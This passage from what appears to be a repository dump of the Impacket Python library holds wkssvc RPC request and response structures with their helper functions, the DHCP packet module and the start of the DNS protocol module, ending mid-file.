('PreferredMaximumLength', ULONG),\n       ('ResumeHandle', LPULONG),\n    )\n\nclass NetrWkstaUserEnumResponse(NDRCALL):\n    structure = (\n       ('UserInfo',WKSTA_USER_ENUM_STRUCT),\n       ('TotalEntries',ULONG),\n       ('ResumeHandle',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.4 NetrWkstaTransportEnum (Opnum 5)\nclass NetrWkstaTransportEnum(NDRCALL):\n    opnum = 5\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('TransportInfo', WKSTA_TRANSPORT_ENUM_STRUCT),\n       ('PreferredMaximumLength', ULONG),\n       ('ResumeHandle', LPULONG),\n    )\n\nclass NetrWkstaTransportEnumResponse(NDRCALL):\n    structure = (\n       ('TransportInfo',WKSTA_TRANSPORT_ENUM_STRUCT),\n       ('TotalEntries',ULONG),\n       ('ResumeHandle',ULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.5 NetrWkstaTransportAdd (Opnum 6)\nclass NetrWkstaTransportAdd(NDRCALL):\n    opnum = 6\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('Level', ULONG),\n       ('TransportInfo',WKSTA_TRANSPORT_INFO_0),\n       ('ErrorParameter',LPULONG),\n    )\n\nclass NetrWkstaTransportAddResponse(NDRCALL):\n    structure = (\n       ('ErrorParameter',LPULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.7 NetrUseAdd (Opnum 8)\nclass NetrUseAdd(NDRCALL):\n    opnum = 8\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('Level', ULONG),\n       ('InfoStruct',USE_INFO),\n       ('ErrorParameter',LPULONG),\n    )\n\nclass NetrUseAddResponse(NDRCALL):\n    structure = (\n       ('ErrorParameter',LPULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.8 NetrUseGetInfo (Opnum 9)\nclass NetrUseGetInfo(NDRCALL):\n    opnum = 9\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('UseName', WSTR),\n       ('Level',ULONG),\n    )\n\nclass NetrUseGetInfoResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',USE_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.9 NetrUseDel (Opnum 10)\nclass NetrUseDel(NDRCALL):\n    opnum = 10\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('UseName', WSTR),\n       ('ForceLevel',ULONG),\n    )\n\nclass NetrUseDelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.10 NetrUseEnum (Opnum 11)\nclass NetrUseEnum(NDRCALL):\n    opnum = 11\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('InfoStruct', USE_ENUM_STRUCT),\n       ('PreferredMaximumLength',ULONG),\n       ('ResumeHandle',LPULONG),\n    )\n\nclass NetrUseEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',USE_ENUM_STRUCT),\n       ('TotalEntries',ULONG),\n       ('ResumeHandle',LPULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.11 NetrWorkstationStatisticsGet (Opnum 13)\nclass NetrWorkstationStatisticsGet(NDRCALL):\n    opnum = 13\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('ServiceName', LPWSTR),\n       ('Level',ULONG),\n       ('Options',ULONG),\n    )\n\nclass NetrWorkstationStatisticsGetResponse(NDRCALL):\n    structure = (\n       ('Buffer',LPSTAT_WORKSTATION_0),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.12 NetrGetJoinInformation (Opnum 20)\nclass NetrGetJoinInformation(NDRCALL):\n    opnum = 20\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('NameBuffer', LPWSTR),\n    )\n\nclass NetrGetJoinInformationResponse(NDRCALL):\n    structure = (\n       ('NameBuffer',LPWSTR),\n       ('BufferType',NETSETUP_JOIN_STATUS),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.13 NetrJoinDomain2 (Opnum 22)\nclass NetrJoinDomain2(NDRCALL):\n    opnum = 22\n    structure = (\n       ('ServerName', LPWSTR),\n       ('DomainNameParam', WSTR),\n       ('MachineAccountOU', LPWSTR),\n       ('AccountName', LPWSTR),\n       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Options', ULONG),\n    )\n\nclass NetrJoinDomain2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)\nclass NetrUnjoinDomain2(NDRCALL):\n    opnum = 23\n    structure = (\n       ('ServerName', LPWSTR),\n       ('AccountName', LPWSTR),\n       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Options', ULONG),\n    )\n\nclass NetrUnjoinDomain2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)\nclass NetrRenameMachineInDomain2(NDRCALL):\n    opnum = 24\n    structure = (\n       ('ServerName', LPWSTR),\n       ('MachineName', LPWSTR),\n       ('AccountName', LPWSTR),\n       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Options', ULONG),\n    )\n\nclass NetrRenameMachineInDomain2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.16 NetrValidateName2 (Opnum 25)\nclass NetrValidateName2(NDRCALL):\n    opnum = 25\n    structure = (\n       ('ServerName', LPWSTR),\n       ('NameToValidate', WSTR),\n       ('AccountName', LPWSTR),\n       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('NameType', NETSETUP_NAME_TYPE),\n    )\n\nclass NetrValidateName2Response(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.17 NetrGetJoinableOUs2 (Opnum 26)\nclass NetrGetJoinableOUs2(NDRCALL):\n    opnum = 26\n    structure = (\n       ('ServerName', LPWSTR),\n       ('DomainNameParam', WSTR),\n       ('AccountName', LPWSTR),\n       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('OUCount', ULONG),\n    )\n\nclass NetrGetJoinableOUs2Response(NDRCALL):\n    structure = (\n       ('OUCount', LPLONG),\n       ('OUs',PUNICODE_STRING_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.18 NetrAddAlternateComputerName (Opnum 27)\nclass NetrAddAlternateComputerName(NDRCALL):\n    opnum = 27\n    structure = (\n       ('ServerName', LPWSTR),\n       ('AlternateName', LPWSTR),\n       ('DomainAccount', LPWSTR),\n       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Reserved', ULONG),\n    )\n\nclass NetrAddAlternateComputerNameResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.19 NetrRemoveAlternateComputerName (Opnum 28)\nclass NetrRemoveAlternateComputerName(NDRCALL):\n    opnum = 28\n    structure = (\n       ('ServerName', LPWSTR),\n       ('AlternateName', LPWSTR),\n       ('DomainAccount', LPWSTR),\n       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Reserved', ULONG),\n    )\n\nclass NetrRemoveAlternateComputerNameResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.20 NetrSetPrimaryComputerName (Opnum 29)\nclass NetrSetPrimaryComputerName(NDRCALL):\n    opnum = 29\n    structure = (\n       ('ServerName', LPWSTR),\n       ('PrimaryName', LPWSTR),\n       ('DomainAccount', LPWSTR),\n       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),\n       ('Reserved', ULONG),\n    )\n\nclass NetrSetPrimaryComputerNameResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.21 NetrEnumerateComputerNames (Opnum 30)\nclass NetrEnumerateComputerNames(NDRCALL):\n    opnum = 30\n    structure = (\n       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),\n       ('NameType', NET_COMPUTER_NAME_TYPE),\n       ('Reserved', ULONG),\n    )\n\nclass NetrEnumerateComputerNamesResponse(NDRCALL):\n    structure = (\n       ('ComputerNames',PNET_COMPUTER_NAME_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (NetrWkstaGetInfo, NetrWkstaGetInfoResponse),\n 1 : (NetrWkstaSetInfo, NetrWkstaSetInfoResponse),\n 2 : (NetrWkstaUserEnum, NetrWkstaUserEnumResponse),\n 5 : (NetrWkstaTransportEnum, NetrWkstaTransportEnumResponse),\n 6 : (NetrWkstaTransportAdd, NetrWkstaTransportAddResponse),\n# 7 : (NetrWkstaTransportDel, NetrWkstaTransportDelResponse),\n 8 : (NetrUseAdd, NetrUseAddResponse),\n 9 : (NetrUseGetInfo, NetrUseGetInfoResponse),\n10 : (NetrUseDel, NetrUseDelResponse),\n11 : (NetrUseEnum, NetrUseEnumResponse),\n13 : (NetrWorkstationStatisticsGet, NetrWorkstationStatisticsGetResponse),\n20 : (NetrGetJoinInformation, NetrGetJoinInformationResponse),\n22 : (NetrJoinDomain2, NetrJoinDomain2Response),\n23 : (NetrUnjoinDomain2, NetrUnjoinDomain2Response),\n24 : (NetrRenameMachineInDomain2, NetrRenameMachineInDomain2Response),\n25 : (NetrValidateName2, NetrValidateName2Response),\n26 : (NetrGetJoinableOUs2, NetrGetJoinableOUs2Response),\n27 : (NetrAddAlternateComputerName, NetrAddAlternateComputerNameResponse),\n28 : (NetrRemoveAlternateComputerName, NetrRemoveAlternateComputerNameResponse),\n29 : (NetrSetPrimaryComputerName, NetrSetPrimaryComputerNameResponse),\n30 : (NetrEnumerateComputerNames, NetrEnumerateComputerNamesResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hNetrWkstaGetInfo(dce, level):\n    request = NetrWkstaGetInfo()\n    request['ServerName'] = '\\x00'*10\n    request['Level'] = level\n    return dce.request(request)\n\ndef hNetrWkstaUserEnum(dce, level, preferredMaximumLength=0xffffffff):\n    request = NetrWkstaUserEnum()\n    request['ServerName'] = '\\x00'*10\n    request['UserInfo']['Level'] = level\n    request['UserInfo']['WkstaUserInfo']['tag'] = level\n    request['PreferredMaximumLength'] = preferredMaximumLength\n    return dce.request(request)\n\ndef hNetrWkstaTransportEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):\n    request = NetrWkstaTransportEnum()\n    request['ServerName'] = '\\x00'*10\n    request['TransportInfo']['Level'] = level\n    request['TransportInfo']['WkstaTransportInfo']['tag'] = level\n    request['ResumeHandle'] = resumeHandle\n    request['PreferredMaximumLength'] = preferredMaximumLength\n    return dce.request(request)\n\ndef hNetrWkstaSetInfo(dce, level, wkstInfo):\n    request = NetrWkstaSetInfo()\n    request['ServerName'] = '\\x00'*10\n    request['Level'] = level\n    request['WkstaInfo']['tag'] = level\n    request['WkstaInfo']['WkstaInfo%d'% level] = wkstInfo\n    return dce.request(request)\n\ndef hNetrWorkstationStatisticsGet(dce, serviceName, level, options):\n    request = NetrWorkstationStatisticsGet()\n    request['ServerName'] = '\\x00'*10\n    request['ServiceName'] = serviceName\n    request['Level'] = level\n    request['Options'] = options\n    return dce.request(request)\n\ndef hNetrGetJoinInformation(dce, nameBuffer):\n    request = NetrGetJoinInformation()\n    request['ServerName'] = '\\x00'*10\n    request['NameBuffer'] = nameBuffer\n    return dce.request(request)\n\ndef hNetrJoinDomain2(dce, domainNameParam, machineAccountOU, accountName, password, options):\n    request = NetrJoinDomain2()\n    request['ServerName'] = '\\x00'*10\n    request['DomainNameParam'] = checkNullString(domainNameParam)\n    request['MachineAccountOU'] = checkNullString(machineAccountOU)\n    request['AccountName'] = checkNullString(accountName)\n    if password == NULL:\n        request['Password'] = NULL\n    else:\n        request['Password']['Buffer'] = password\n    request['Options'] = options\n    return dce.request(request)\n\ndef hNetrUnjoinDomain2(dce, accountName, password, options):\n    request = NetrUnjoinDomain2()\n    request['ServerName'] = '\\x00'*10\n    request['AccountName'] = checkNullString(accountName)\n    if password == NULL:\n        request['Password'] = NULL\n    else:\n        request['Password']['Buffer'] = password\n    request['Options'] = options\n    return dce.request(request)\n\ndef hNetrRenameMachineInDomain2(dce, machineName, accountName, password, options):\n    request = NetrRenameMachineInDomain2()\n    request['ServerName'] = '\\x00'*10\n    request['MachineName'] = checkNullString(machineName)\n    request['AccountName'] = checkNullString(accountName)\n    if password == NULL:\n        request['Password'] = NULL\n    else:\n        request['Password']['Buffer'] = password\n    request['Options'] = options\n    return dce.request(request)\n\ndef hNetrValidateName2(dce, nameToValidate, accountName, password, nameType):\n    request = NetrValidateName2()\n    request['ServerName'] = '\\x00'*10\n    request['NameToValidate'] = checkNullString(nameToValidate)\n    request['AccountName'] = checkNullString(accountName)\n    if password == NULL:\n        request['Password'] = NULL\n    else:\n        request['Password']['Buffer'] = password\n    request['NameType'] = nameType\n    return dce.request(request)\n\ndef hNetrGetJoinableOUs2(dce, domainNameParam, accountName, password, OUCount):\n    request = NetrGetJoinableOUs2()\n    request['ServerName'] = '\\x00'*10\n    request['DomainNameParam'] = checkNullString(domainNameParam)\n    request['AccountName'] = checkNullString(accountName)\n    if password == NULL:\n        request['Password'] = NULL\n    else:\n        request['Password']['Buffer'] = password\n    request['OUCount'] = OUCount\n    return dce.request(request)\n\ndef hNetrAddAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):\n    request = NetrAddAlternateComputerName()\n    request['ServerName'] = '\\x00'*10\n    request['AlternateName'] = checkNullString(alternateName)\n    request['DomainAccount'] = checkNullString(domainAccount)\n    if encryptedPassword == NULL:\n        request['EncryptedPassword'] = NULL\n    else:\n        request['EncryptedPassword']['Buffer'] = encryptedPassword\n    return dce.request(request)\n\ndef hNetrRemoveAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):\n    request = NetrRemoveAlternateComputerName()\n    request['ServerName'] = '\\x00'*10\n    request['AlternateName'] = checkNullString(alternateName)\n    request['DomainAccount'] = checkNullString(domainAccount)\n    if encryptedPassword == NULL:\n        request['EncryptedPassword'] = NULL\n    else:\n        request['EncryptedPassword']['Buffer'] = encryptedPassword\n    return dce.request(request)\n\ndef hNetrSetPrimaryComputerName(dce, primaryName, domainAccount, encryptedPassword):\n    request = NetrSetPrimaryComputerName()\n    request['ServerName'] = '\\x00'*10\n    request['PrimaryName'] = checkNullString(primaryName)\n    request['DomainAccount'] = checkNullString(domainAccount)\n    if encryptedPassword == NULL:\n        request['EncryptedPassword'] = NULL\n    else:\n        request['EncryptedPassword']['Buffer'] = encryptedPassword\n    return dce.request(request)\n\ndef hNetrEnumerateComputerNames(dce, nameType):\n    request = NetrEnumerateComputerNames()\n    request['ServerName'] = '\\x00'*10\n    request['NameType'] = nameType\n    return dce.request(request)\n\ndef hNetrUseAdd(dce, level, infoStruct):\n    request = NetrUseAdd()\n    request['ServerName'] = '\\x00'*10\n    request['Level'] = level\n    request['InfoStruct']['tag'] = level\n    request['InfoStruct']['UseInfo%d' % level] = infoStruct\n    return dce.request(request)\n\ndef hNetrUseEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):\n    request = NetrUseEnum()\n    request['ServerName'] = '\\x00'*10\n    request['InfoStruct']['Level'] = level\n    request['InfoStruct']['UseInfo']['tag'] = level\n    request['InfoStruct']['UseInfo']['Level%d'%level]['Buffer'] = NULL\n    request['PreferredMaximumLength'] = preferredMaximumLength\n    request['ResumeHandle'] = resumeHandle\n    return dce.request(request)\n\ndef hNetrUseGetInfo(dce, useName, level):\n    request = NetrUseGetInfo()\n    request['ServerName'] = '\\x00'*10\n    request['UseName'] = checkNullString(useName)\n    request['Level'] = level\n    return dce.request(request)\n\ndef hNetrUseDel(dce, useName, forceLevel=USE_LOTS_OF_FORCE):\n    request = NetrUseDel()\n    request['ServerName'] = '\\x00'*10\n    request['UseName'] = checkNullString(useName)\n    request['ForceLevel'] = forceLevel\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dhcp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nfrom impacket import structure\nfrom impacket.ImpactPacket import ProtocolPacket\n\nclass BootpPacket(ProtocolPacket, structure.Structure):\n    commonHdr = (\n            ('op','b'),\n            ('htype','b=1'),    # 1 = Ether\n            ('hlen','b=len(chaddr)'),\n            ('hops','b=0'),\n            ('xid','!L=0'),\n            ('secs','!H=0'),\n            ('flags','!H=0'),\n            ('ciaddr','!L=0'),\n            ('yiaddr','!L=0'),\n            ('siaddr','!L=0'),\n            ('giaddr','!L=0'),\n            ('_chaddr','16s=chaddr'),\n            ('chaddr','_','_chaddr[:hlen]'),\n            ('sname','64s=\"\"'),\n            ('file','128s=\"\"'))\n\n    def __init__(self, data = None, alignment = 0):\n        structure.Structure.__init__(self, data, alignment)\n\nclass DhcpPacket(ProtocolPacket, structure.Structure):\n    # DHCP: https://www.ietf.org/rfc/rfc2131.txt\n    # DHCP Options: https://www.ietf.org/rfc/rfc1533.txt\n    # good list of options: http://www.networksorcery.com/enp/protocol/bootp/options.htm\n    MAGIC_NUMBER = 0x63825363\n    BOOTREQUEST = 1\n    BOOTREPLY   = 2\n\n    DHCPDISCOVER= 1\n    DHCPOFFER   = 2\n    DHCPREQUEST = 3 \n    DHCPDECLINE = 4\n    DHCPACK     = 5\n    DHCPNAK     = 6\n    DHCPRELEASE = 7\n    DHCPINFORM  = 8\n\n    options = {\n        # 3. Vendor Extensions\n        'pad':(0,'_'),\n        'subnet-mask':(1,'!L'),\n        'time-offset':(2,'!L'),\n        'router':(3,'*!L'),\n        'time-server':(4,'*!L'),\n        'name-server':(5,'*!L'),\n        'domain-name-server':(6,'*!L'),\n        'log-server':(7,'*!L'),\n        'cookie-server':(8,'*!L'),\n        'lpr-server':(9,'*!L'),\n        'impress-server':(10,'*!L'),\n        'resource-locator-server':(11,'*!L'),\n        'host-name':(12,':'),\n        'boot-file-size':(13,'!H'),\n        'merit-dump-file':(14,':'),\n        'domain-name':(15,':'),\n        'swap-server':(16,':'),\n        'root-path':(17,':'),\n        'extensions-path':(18,':'),\n\n        # 4. IP Layer Parameters per Host\n        'ip-forwarding':(19,'B'),\n        'non-local-source-routing':(20,'B'),\n        'policy-filter':(21,'*!L'),\n        'maximum-datagram-reassembly-size':(22,'!H'),\n        'default-ip-ttl':(23,'B'),\n        'path-mtu-aging-timeout':(24,'!L'),\n        'path-mtu-plateau-table':(25,'*!H'),\n\n        # 5. IP Layer Parameters per Interface\n        'interface-mtu':(26,'!H'),\n        'all-subnets-are-local':(27,'B'),\n        'broadcast-address':(28,'!L'),\n        'perform-mask-discovery':(29,'B'),\n        'mask-supplier':(30,'B'),\n        'perform-router-discovery':(31,'B'),\n        'router-solicitation-address':(32,'!L'),\n        'static-route':(33,'*!L'),\n\n        # 6. Link Layer Parameters per Interface\n        'trailer-encapsulation':(34,'B'),\n        'arp-cache-timeout':(35,'!L'),\n        'ethernet-encapsulation':(36,'B'),\n\n        # 7. TCP parameters\n        'tcp-default-ttl':(37,'B'),\n        'tcp-keepalive-interval':(38,'!L'),\n        'tcp-keepalive-garbage':(39,'B'),\n\n        # 8. Application and Service parameters\n        'nis-domain':(40,':'),\n        'nis-servers':(41,'*!L'),\n        'ntp-servers':(42,'*!L'),\n        'vendor-specific':(43,':'),\n        'netbios-name-server':(44,'*!L'),\n        'netbios-datagrame-distribution-server':(45,'*!L'),\n        'netbios-node-type':(46,'B'),\n        'netbios-scope':(47,':'),\n        'x11-font-server':(48,'*!L'),\n        'x11-display-manager':(49,'*!L'),\n\n\n        # 9. DHCP Extensions\n        'requested-ip':(50,'!L'),\n        'lease-time':(51,'!L'),\n        'option-overload':(52,'B'),\n        'message-type':(53,'B'),\n        'server-id':(54,'!L'),\n        'parameter-request-list':(55,':'),\n        'message':(56,':'),\n        'maximum-dhcp-message-size':(57,'!H'),\n        'renewal-time':(58,'!L'),\n        'rebinding-time':(59,'!L'),\n        'vendor-class':(60,':'),\n        'client-id':(61,':'),\n\n        # other non-rfc1533 options\n        'slp-directory-agent':(78,':'),           # https://www.ietf.org/rfc/rfc2610.txt\n        'slp-service-scope':(79,':'),             # https://www.ietf.org/rfc/rfc2610.txt\n        'fully-qualified-domain-name':(81,':'),   # https://www.ietf.org/rfc/rfc4702.txt\n        'default-url': (114, ':'),                # text (URL) - not defined in any RFC but assigned by IANA\n        'auto-configuration':(116,'B'),           # https://www.ietf.org/rfc/rfc2563.txt\n        'domain-search-list':(119,':'),           # https://www.ietf.org/rfc/rfc3397.txt\n        'classless-route-121':(121, ':'),         # https://www.ietf.org/rfc/rfc3442.txt\n        'classless-route-249':(249, ':'),         # https://web.archive.org/web/20140205135249/support.microsoft.com/kb/121005\n        'proxy-autoconfig':(252,':'),\n        'eof':(255,'_'),\n    }\n\n    structure = (\n            ('cookie','!L'),\n            ('_options',':=self.packOptions(options)'),\n            ('options','_','self.unpackOptions(_options)'))\n\n    def __init__(self, data = None, alignment = 0):\n        structure.Structure.__init__(self, data, alignment)\n\n    def packOptions(self, options):\n        # options is an array of tuples: ('name',value)\n\n        answer = b''\n        for name, value in options:\n            code,format = self.options[name]\n            val = self.pack(format, value)\n            answer += b'%c%c%s' % (code, len(val), val)\n\n        return answer\n\n    def getOptionNameAndFormat(self, optionCode):\n        for k in self.options:\n            code,format = self.options[k]\n            if code == optionCode: return k, format\n        return optionCode, ':'\n\n    def unpackOptions(self, options):\n        # options is a string\n\n        # print '%r' % options\n        answer = []\n        i = 0\n        options = bytearray(options)\n        while i < len(options)-1:\n            name, format = self.getOptionNameAndFormat(options[i])\n            # size = self.calcUnpackSize(format, options[i+1:])\n            size = options[i+1]\n            # print i, name, format, size\n            value = self.unpack(format, bytes(options[i+2:i+2+size]))\n            answer.append((name, value))\n            i += 2+size\n\n        return answer\n\n    def unpackParameterRequestList(self, options):\n        return [self.getOptionNameAndFormat(ord(opt))[0] for opt in options]\n\n    def isAskingForProxyAutodiscovery(self):\n        for opt in self.fields['options']:\n            if opt[0] == 'parameter-request-list':\n                for optCode in opt[1]:\n                    if ord(optCode) == 252:\n                        return True\n        return False\n\n    def getOptionValue(self, name):\n        for opt in self.fields['options']:\n            if opt[0] == name:\n                return opt[1]\n        return None\n"
  },
  {
    "path": "impacket/dns.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RFCs for the DNS Server service\n#\n#   - 1034 - Domain Names -- Concepts and Facilities [https://www.ietf.org/rfc/rfc1034.txt]\n#   - 1035 - Domain Names -- Implementation and Specification [https://www.ietf.org/rfc/rfc1035.txt]\n#   - 1123 - Requirements for Internet Hosts -- Application and Support [https://www.ietf.org/rfc/rfc1123.txt]\n#   - 1886 - DNS Extensions to Support IP Version 6 [https://www.ietf.org/rfc/rfc1886.txt]\n#   - 1995 - Incremental Zone Transfer in DNS [https://www.ietf.org/rfc/rfc1995.txt]\n#   - 1996 - A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY) [https://www.ietf.org/rfc/rfc1996.txt]\n#   - 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE) [https://www.ietf.org/rfc/rfc2136.txt]\n#   - 2181 - Clarifications to the DNS Specification [https://www.ietf.org/rfc/rfc2181.txt]\n#   - 2308 - Negative Caching of DNS Queries (DNS NCACHE) [https://www.ietf.org/rfc/rfc2308.txt]\n#   - 2535 - Domain Name System Security Extensions (DNSSEC) [https://www.ietf.org/rfc/rfc2535.txt]\n#   - 2671 - Extension Mechanisms for DNS (EDNS0) [https://www.ietf.org/rfc/rfc2671.txt]\n#   - 2782 - A DNS RR for specifying the location of services (DNS SRV) [https://www.ietf.org/rfc/rfc2782.txt]\n#   - 2930 - Secret Key Establishment for DNS (TKEY RR) [https://www.ietf.org/rfc/rfc2930.txt]\n#   - 3645 - Generic Security Service Algorithm for Secret Key Transaction Authentication for DNS (GSS-TSIG) [https://www.ietf.org/rfc/rfc3645.txt]\n#   - 3646 - DNS Configuration options for Dynamic Host Configuration Protocol for IPv6 (DHCPv6) [https://www.ietf.org/rfc/rfc3646.txt]\n#\n# Author:\n#   Andres Blanco\n#   Gustavo Moreira\n#\n\nimport socket\nimport struct\n\nfrom impacket.ImpactPacket import ProtocolPacket\n\n\nclass DNSFlags():\n    'Bitmap with the flags of a dns packet.'\n    # QR - Query/Response - 1 bit\n    QR_QUERY                = int(\"0000000000000000\", 2)\n    QR_RESPONSE             = int(\"1000000000000000\", 2)\n    # OP - Opcode - 4 bits\n    OP_STANDARD_QUERY       = int(\"0000000000000000\", 2) # Standard query.\n    OP_INVERSE_QUERY        = int(\"0100000000000000\", 2) # Inverse query.\n    OP_STATUS_QUERY         = int(\"0010000000000000\", 2) # Server status request.\n    OP_NOTIFY               = int(\"0000100000000000\", 2) # Notify.\n    OP_UPDATE               = int(\"0100100000000000\", 2) # Update.\n    # AA - Authority Answer - 1 bit\n    AA_NOT_AUTH_ANSWER      = int(\"0000000000000000\", 2) # Not authoritative.\n    AA_AUTH_ANSWER          = int(\"0000010000000000\", 2) # Is authoritative.\n    # TC - Truncated - 1 bit\n    TC_NOT_TRUNCATED        = int(\"0000000000000000\", 2) # Not truncated.\n    TC_TRUNCATED            = int(\"0000001000000000\", 2) # Message truncated.\n    # RD - Recursion Desired - 1 bit\n    RD_NOT_RECURSIVE_QUERY  = int(\"0000000000000000\", 2) # Recursion not desired.\n    RD_RECURSIVE_QUERY      = int(\"0000000100000000\", 2) # Recursion desired.\n    # RA - Recursion Available - 1 bit\n    RA_NOT_AVAILABLE        = int(\"0000000000000000\", 2) # Recursive query support not available.\n    RA_AVAILABLE            = int(\"0000000010000000\", 2) # Recursive query support available.\n    # Z - 3 bits\n    Z                       = int(\"0000000000000000\", 2)\n    # AD - Authenticated Data - 1 bit\n    AUTHENTICATED_DATA      = int(\"0000000000100000\", 2)\n    # CD - Checking Disabled - 1 bit\n    CHECKING_DISABLED       = int(\"0000000000010000\", 2)\n    # RCODE - 4 bits\n    RCODE_NO_ERROR          = int(\"0000000000000000\", 2) # The request completed successfully.\n    RCODE_FORMAT_ERROR      = int(\"0000000000001000\", 2) # The name server was unable to interpret the query.\n    RCODE_SERVER_FAILURE    = int(\"0000000000000100\", 2) # The name server was unable to process this query due to a problem with the name server.\n    RCODE_NAME_ERROR        = int(\"0000000000001100\", 2) # Meaningful only for responses from an authoritative name server, this code signifies that the domain name referenced in the query does not exist.\n    RCODE_NOT_IMPLEMENTED   = int(\"0000000000000010\", 2) # Not Implemented. The name server does not support the requested kind of query.\n    RCODE_REFUSED           = int(\"0000000000001010\", 2) # The name server refuses to perform the specified operation for policy reasons. \n    RCODE_YXDOMAIN          = int(\"0000000000000110\", 2) # Name Exists when it should not.\n    RCODE_YXRRSET           = int(\"0000000000001110\", 2) # RR Set Exists when it should not.\n    RCODE_NXRRSET           = int(\"0000000000000001\", 2) # RR Set that should exist does not.\n    RCODE_NOAUTH            = int(\"0000000000001001\", 2) # Server Not Authoritative for zone.\n    RCODE_NOTZONE           = int(\"0000000000000101\", 2) # Name not contained in zone.\n\nclass DNSType():\n    A            = 1     # IPv4 address.\n    NS           = 2     # Authoritative name server.\n    MD           = 3     # Mail destination. Obsolete use MX instead.\n    MF           = 4     # Mail forwarder. Obsolete use MX instead.\n    CNAME        = 5     # Canonical name for an alias.\n    SOA          = 6     # Marks the start of a zone of authority.\n    MB           = 7     # Mailbox domain name.\n    MG           = 8     # Mail group member.\n    MR           = 9     # Mail rename domain name.\n    NULL         = 10    # Null resource record.\n    WKS          = 11    # Well known service description.\n    PTR          = 12    # Domain name pointer.\n    HINFO        = 13    # Host information.\n    MINFO        = 14    # Mailbox or mail list information.\n    MX           = 15    # Mail exchange.\n    TXT          = 16    # Text strings.\n    RP           = 17    # Responsible Person.\n    AFSDB        = 18    # AFS Data Base location.\n    X25          = 19    # X.25 PSDN address.\n    ISDN         = 20    # ISDN address.\n    RT           = 21    # Route Through.\n    NSAP         = 22    # NSAP address. NSAP style A record.\n    NSAP_PTR     = 23    # NSAP pointer.\n    SIG          = 24    # Security signature.\n    KEY          = 25    # Security key.\n    PX           = 26    # X.400 mail mapping information.\n    GPOS         = 27    # Geographical Position.\n    AAAA         = 28    # IPv6 Address.\n    LOC          = 29    # Location Information.\n    NXT          = 30    # Next Domain (obsolete).\n    EID          = 31    # Endpoint Identifier.\n    NB           = 32    # NetBIOS general Name Service.\n    NBSTAT       = 33    # NetBIOS NODE STATUS.\n    ATMA         = 34    # ATM Address.\n    NAPTR        = 35    # Naming Authority Pointer.\n    KX           = 36    # Key Exchanger.\n    CERT         = 37\n    A6           = 38\n    DNAME        = 39\n    SINK         = 40\n    OPT          = 41\n    APL          = 42\n    DS           = 43    # Delegation Signer.\n    SSHFP        = 44    # SSH Key Fingerprint.\n    IPSECKEY     = 45\n    RRSIG        = 46\n    NSEC         = 47    # 